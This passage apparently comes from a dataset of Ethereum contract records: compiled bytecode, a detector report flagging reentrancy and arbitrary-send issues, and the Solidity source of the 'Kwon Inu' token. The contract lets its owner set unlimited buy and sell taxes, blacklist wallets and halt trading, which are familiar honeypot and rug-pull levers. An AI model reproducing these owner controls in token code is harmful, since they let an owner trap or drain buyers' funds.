} function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a2578063d94160e0146104b7578063dd62ed3e146104e7578063f42938901461052d57600080fd5b8063b515566a14610442578063c024666814610462578063c0a904a21461048257600080fd5b8063715018a61461038257806381bfdcca1461039757806389f425e7146103b75780638da5cb5b146103d757806395d89b41146103f5578063a9059cbb1461042257600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102f25780635932ead114610322578063677daa571461034257806370a082311461036257600080fd5b8063313ce5671461028957806349bd5a5e146102a557806351bc3c85146102dd57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101fb57806318160ddd1461022b57806323b872dd14610247578063273123b71461026757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600f81526e5072696e6365205a756b6f20496e7560881b60208201525b6040516101b191906119dd565b34801561020757600080fd5b5061021b610216366004611a57565b610542565b60405190151581526020016101b1565b34801561023757600080fd5b50683635c9adc5dea000006101a7565b34801561025357600080fd5b5061021b610262366004611a83565b610559565b34801561027357600080fd5b50610287610282366004611ac4565b6105c2565b005b34801561029557600080fd5b50604051600981526020016101b1565b3480156102b157600080fd5b506010546102c5906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e957600080fd5b50610287610616565b3480156102fe57600080fd5b5061021b61030d366004611ac4565b60056020526000908152604090205460ff1681565b34801561032e57600080fd5b5061028761033d366004611aef565b61064f565b34801561034e57600080fd5b5061028761035d366004611b0c565b610697565b34801561036e57600080fd5b506101a761037d366004611ac4565b6106c6565b34801561038e57600080fd5b506102876106e8565b3480156103a357600080fd5b506102876103b2366004611b0c565b61075c565b3480156103c357600080fd5b506102876103d2366004611b0c565b61078b565b3480156103e357600080fd5b506000546001600160a01b03166102c5565b34801561040157600080fd5b506040805180820190915260048152635a554b4f60e01b60208201526101ee565b34801561042e57600080fd5b5061021b61043d366004611a57565b6107ba565b34801561044e57600080fd5b5061028761045d366004611b3b565b6107c7565b34801561046e57600080fd5b5061028761047d366004611c00565b61085d565b34801561048e57600080fd5b5061028761049d366004611c00565b6108b2565b3480156104ae57600080fd5b50610287610907565b3480156104c357600080fd5b5061021b6104d2366004611ac4565b60066020526000908152604090205460ff1681565b3480156104f357600080fd5b506101a7610502366004611c39565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053957600080fd5b50610287610ca7565b600061054f338484610cd1565b5060015b92915050565b6000610566848484610df5565b6105b884336105b385604051806060016040528060288152602001611e2d602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123b565b610cd1565b5060019392505050565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016105ec90611c67565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063657600080fd5b6000610641306106c6565b905061064c81611275565b50565b6000546001600160a01b031633146106795760405162461bcd60e51b81526004016105ec90611c67565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c15760405162461bcd60e51b81526004016105ec90611c67565b601155565b6001600160a01b038116600090815260026020526040812054610553906113ef565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105ec90611c67565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107865760405162461bcd60e51b81526004016105ec90611c67565b601255565b6000546001600160a01b031633146107b55760405162461bcd60e51b81526004016105ec90611c67565b600b55565b600061054f338484610df5565b6000546001600160a01b031633146107f15760405162461bcd60e51b81526004016105ec90611c67565b60005b81518110156108595760016007600084848151811061081557610815611c9c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085181611cc8565b9150506107f4565b5050565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105ec90611c67565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016105ec90611c67565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b81526004016105ec90611c67565b601054600160a01b900460ff161561098b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105ec565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109c83082683635c9adc5dea00000610cd1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2a9190611ce3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190611ce3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0c9190611ce3565b601080546001600160a01b0319166001600160a01b03928316178155600f80548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610b70816106c6565b600080610b856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bed573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c129190611d00565b50506010805463ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c83573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108599190611d2e565b600e546001600160a01b0316336001600160a01b031614610cc757600080fd5b4761064c81611473565b6001600160a01b038316610d335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ec565b6001600160a01b038216610d945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ec565b6001600160a01b038216610ebb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ec565b80610ec5846106c6565b1015610f225760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105ec565b6000546001600160a01b03848116911614801590610f4e57506000546001600160a01b03838116911614155b1561122b576001600160a01b03831660009081526007602052604090205460ff16158015610f9557506001600160a01b03821660009081526007602052604090205460ff16155b610f9e57600080fd5b6001600160a01b03831660009081526006602052604090205460ff161580610ff757506010546001600160a01b038481169116148015610ff757506001600160a01b03821660009081526006602052604090205460ff16155b15611064576011548111156110645760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105ec565b6001600160a01b03821660009081526006602052604090205460ff166110fd5760125481611091846106c6565b61109b9190611d4b565b11156110fd5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105ec565b6010546001600160a01b0384811691161480156111285750600f546001600160a01b03838116911614155b801561114d57506001600160a01b03821660009081526005602052604090205460ff16155b80156111625750601054600160b81b900460ff165b156111b0576001600160a01b038216600090815260086020526040902054421161118b57600080fd5b61119642603c611d4b565b6001600160a01b0383166000908152600860205260409020555b60006111bb306106c6565b601054909150600160a81b900460ff161580156111e657506010546001600160a01b03858116911614155b80156111fb5750601054600160b01b900460ff165b80156112095750600b548110155b156112295761121781611275565b4780156112275761122747611473565b505b505b6112368383836114ad565b505050565b6000818484111561125f5760405162461bcd60e51b81526004016105ec91906119dd565b50600061126c8486611d63565b95945050505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112bd576112bd611c9c565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611316573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133a9190611ce3565b8160018151811061134d5761134d611c9c565b6001600160a01b039283166020918202929092010152600f546113739130911684610cd1565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ac908590600090869030904290600401611d7a565b600060405180830381600087803b1580156113c657600080fd5b505af11580156113da573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60006009548211156114565760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ec565b60006114606114b8565b905061146c83826114db565b9392505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610859573d6000803e3d6000fd5b61123683838361151d565b60008060006114c56116dd565b90925090506114d482826114db565b9250505090565b600061146c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061171f565b60008060008060008061152f8761174d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156190876117aa565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff16806115ac57506001600160a01b03881660009081526005602052604090205460ff165b15611635576001600160a01b0388166000908152600260205260409020546115d490876117ec565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611628908b815260200190565b60405180910390a36116d2565b6001600160a01b03881660009081526002602052604090205461165890866117ec565b6001600160a01b03891660009081526002602052604090205561167a8161184b565b6116848483611895565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c991815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006116f982826114db565b82101561171657505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836117405760405162461bcd60e51b81526004016105ec91906119dd565b50600061126c8486611deb565b600080600080600080600080600061176a8a600c54600d546118b9565b925092509250600061177a6114b8565b9050600080600061178d8e87878761190e565b919e509c509a509598509396509194505050505091939550919395565b600061146c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123b565b6000806117f98385611d4b565b90508381101561146c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ec565b60006118556114b8565b90506000611863838361195e565b3060009081526002602052604090205490915061188090826117ec565b30600090815260026020526040902055505050565b6009546118a290836117aa565b600955600a546118b290826117ec565b600a555050565b60008080806118d360646118cd898961195e565b906114db565b905060006118e660646118cd8a8961195e565b905060006118fe826118f88b866117aa565b906117aa565b9992985090965090945050505050565b600080808061191d888661195e565b9050600061192b888761195e565b90506000611939888861195e565b9050600061194b826118f886866117aa565b939b939a50919850919650505050505050565b60008261196d57506000610553565b60006119798385611e0d565b9050826119868583611deb565b1461146c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ec565b600060208083528351808285015260005b81811015611a0a578581018301518582016040015282016119ee565b81811115611a1c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461064c57600080fd5b8035611a5281611a32565b919050565b60008060408385031215611a6a57600080fd5b8235611a7581611a32565b946020939093013593505050565b600080600060608486031215611a9857600080fd5b8335611aa381611a32565b92506020840135611ab381611a32565b929592945050506040919091013590565b600060208284031215611ad657600080fd5b813561146c81611a32565b801515811461064c57600080fd5b600060208284031215611b0157600080fd5b813561146c81611ae1565b600060208284031215611b1e57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b4e57600080fd5b823567ffffffffffffffff80821115611b6657600080fd5b818501915085601f830112611b7a57600080fd5b813581811115611b8c57611b8c611b25565b8060051b604051601f19603f83011681018181108582111715611bb157611bb1611b25565b604052918252848201925083810185019188831115611bcf57600080fd5b938501935b82851015611bf457611be585611a47565b84529385019392850192611bd4565b98975050505050505050565b60008060408385031215611c1357600080fd5b8235611c1e81611a32565b91506020830135611c2e81611ae1565b809150509250929050565b60008060408385031215611c4c57600080fd5b8235611c5781611a32565b91506020830135611c2e81611a32565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cdc57611cdc611cb2565b5060010190565b600060208284031215611cf557600080fd5b815161146c81611a32565b600080600060608486031215611d1557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d4057600080fd5b815161146c81611ae1565b60008219821115611d5e57611d5e611cb2565b500190565b600082821015611d7557611d75611cb2565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dca5784516001600160a01b031683529383019391830191600101611da5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e0857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2757611e27611cb2565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203abaf6360e12a75809a213ec02ba64f3a848e0dd80caf1986984c6a89f8345d364736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,217
0x98dd53a33681c041f14e296efebfa5ac28b6b607
/* KWON INU ! Website: https://kwoninu.com/ Telegram: https://t.me/KWONINU Twitter: https://twitter.com/KWONINU */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KWON is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Kwon Inu";////////////////////////// string private constant _symbol = "KWON";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 10;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 20;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x6156a5C35451C5a197817eC16610fE33e768AEF3);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x6156a5C35451C5a197817eC16610fE33e768AEF3);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //2% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051a578063dd62ed3e1461053a578063ea1644d514610580578063f2fde38b146105a057600080fd5b8063a2a957bb14610495578063a9059cbb146104b5578063bfd79284146104d5578063c3c8cd801461050557600080fd5b80638f70ccf7116100d15780638f70ccf7146104125780638f9a55c01461043257806395d89b411461044857806398a5c3151461047557600080fd5b806374010ece146103be5780637d1db4a5146103de5780638da5cb5b146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae4565b6105c0565b005b3480156101ff57600080fd5b506040805180820190915260088152674b776f6e20496e7560c01b60208201525b60405161022d9190611c0e565b60405180910390f35b34801561024257600080fd5b50610256610251366004611a3a565b61066d565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b50662386f26fc100005b60405190815260200161022d565b3480156102ce57600080fd5b506102566102dd3660046119fa565b610684565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022d565b34801561032057600080fd5b50601554610286906001600160a01b031681565b34801561034057600080fd5b506101f161034f36600461198a565b6106ed565b34801561036057600080fd5b506101f161036f366004611bab565b610738565b34801561038057600080fd5b506101f1610780565b34801561039557600080fd5b506102b46103a436600461198a565b6107cb565b3480156103b557600080fd5b506101f16107ed565b3480156103ca57600080fd5b506101f16103d9366004611bc5565b610861565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506000546001600160a01b0316610286565b34801561041e57600080fd5b506101f161042d366004611bab565b610890565b34801561043e57600080fd5b506102b460175481565b34801561045457600080fd5b5060408051808201909152600481526325aba7a760e11b6020820152610220565b34801561048157600080fd5b506101f1610490366004611bc5565b6108d8565b3480156104a157600080fd5b506101f16104b0366004611bdd565b610907565b3480156104c157600080fd5b506102566104d0366004611a3a565b610945565b3480156104e157600080fd5b506102566104f036600461198a565b60106020526000908152604090205460ff1681565b34801561051157600080fd5b506101f1610952565b34801561052657600080fd5b506101f1610535366004611a65565b6109a6565b34801561054657600080fd5b506102b46105553660046119c2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058c57600080fd5b506101f161059b366004611bc5565b610a55565b3480156105ac57600080fd5b506101f16105bb36600461198a565b610a84565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016105ea90611c61565b60405180910390fd5b60005b81518110156106695760016010600084848151811061062557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066181611d74565b9150506105f6565b5050565b600061067a338484610b6e565b5060015b92915050565b6000610691848484610c92565b6106e384336106de85604051806060016040528060288152602001611dd1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ce565b610b6e565b5060019392505050565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016105ea90611c61565b6001600160a01b0316600090815260106020526040902080546